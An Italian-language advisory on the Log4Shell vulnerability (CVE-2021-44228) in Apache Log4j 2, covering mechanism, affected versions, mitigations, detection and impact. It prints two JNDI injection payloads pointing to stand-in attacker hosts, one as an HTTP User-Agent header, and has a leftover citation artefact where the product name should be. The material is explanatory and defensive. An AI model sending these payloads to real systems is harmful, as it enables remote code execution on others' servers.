🚨 CVE-2021-44228 — “Log4Shell”

Una vulnerabilità critica di esecuzione remota di codice in Apache Log4j 2, ampiamente conosciuta come Log4Shell.

📖 Indice

• Panoramica
• Dettagli tecnici
• Gravità e CVSS
• Versioni affette
• Sfruttamento e impatto
• Impatto nel mondo reale
• Rilevamento
• Mitigazione e correzioni
• Riepilogo

🔎 Panoramica

CVE-2021-44228 è una vulnerabilità RCE critica in :contentReference[oaicite:0]{index=0} versione 2.x (prima della 2.15.0), scoperta a dicembre 2021.

Consente a aggressori remoti non autenticati di eseguire codice arbitrario su sistemi vulnerabili semplicemente inviando input appositamente predisposti che vengono registrati da Log4j. La falla riguarda innumerevoli applicazioni e servizi basati su Java a livello globale.

🧠 Dettagli Tecnici

La vulnerabilità deriva dalla gestione da parte di Log4j delle ricerche JNDI nelle stringhe registrate. Un aggressore può incorporare una risorsa JNDI malevola in un messaggio registrato (ad es., LDAP, DNS), come:

${jndi:ldap://attacker.com/a}

Log4j farà:

1. Analizzerà la ricerca JNDI dall'input
2. Eseguirà una ricerca remota verso il server controllato dall'aggressore
3. Caricherà codice Java malevolo come parte del processo di ricerca
4. Eseguirà tale codice nel contesto dell'applicazione vulnerabile

Questo consente a un aggressore di ottenere la piena Esecuzione Remota di Codice (RCE) sui servizi interessati.

📊 Gravità e CVSS

Poiché Log4j è utilizzato in innumerevoli librerie e applicazioni, qualsiasi sistema che registra dati non affidabili potrebbe essere vulnerabile.

📦 Versioni Affette

Le seguenti versioni di Log4j 2 sono vulnerabili:

> = 2.0-beta9 and < 2.15.0

Inoltre, alcune configurazioni di 2.15.0 erano ancora sfruttabili, quindi la 2.16.0 e successive sono la base sicura.

🛠 Rimedi e Correzioni

✅ Versioni ufficiali corrette

Aggiornare alle versioni di Log4j 2:

2.17.1 o successive

Le patch successive migliorano ulteriormente la sicurezza (ad es., 2.17.2, 2.19.0, ecc.).

🧱 Mitigazioni temporanee (se non puoi applicare subito la patch)

Se un aggiornamento immediato non è possibile, puoi:

• Disabilitare le ricerche JNDI nella configurazione di Log4j
• Impostare:

log4j2.formatMsgNoLookups=true

• Rimuovere la classe JndiLookup dal classpath:

zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Questi passaggi aiutano a ridurre l'esposizione fino a quando non è possibile aggiornare.

🔥 Sfruttamento e Impatto

Questa vulnerabilità è estremamente facile da sfruttare. Un aggressore deve solo inviare una stringa appositamente predisposta (ad es., tramite intestazioni HTTP, parametri di moduli, messaggi di chat, campi di database) che viene registrata dall'applicazione:

User-Agent: ${jndi:ldap://attacker.example/a}

Una volta registrata, l'applicazione eseguirà una ricerca remota e può essere costretta a eseguire codice Java controllato dall'aggressore.

🌍 Impatto nel Mondo Reale

Log4Shell ha avuto un impatto globale enorme:

• Innumeri servizi pubblici sono stati immediatamente esposti
• Provider cloud, server di gioco, applicazioni aziendali, IoT, servizi web, API e altro sono stati colpiti
• Intere comunità di sicurezza si sono mobilitate per rilevare e correggere i sistemi vulnerabili
• Lo sfruttamento è stato diffuso, automatizzato e rapido

Questa è una delle vulnerabilità più significative degli ultimi decenni.

🧪 Rilevamento

Puoi rilevare sistemi vulnerabili:

• Analizzare i log per pattern JNDI sospetti (${jndi:)
• Utilizzare scanner di vulnerabilità che controllano le versioni di Log4j
• Monitorare il traffico in arrivo per tentativi di exploit
• Verificare i contenuti del classpath per il supporto delle ricerche JNDI

📌 Riepilogo

⚠️ Avviso Finale

Se la tua applicazione o qualsiasi libreria che utilizzi si basa su Log4j 2.x, aggiorna immediatamente a una versione corretta (≥ 2.17.1) e verifica che le ricerche JNDI siano disabilitate o rimosse ove possibile.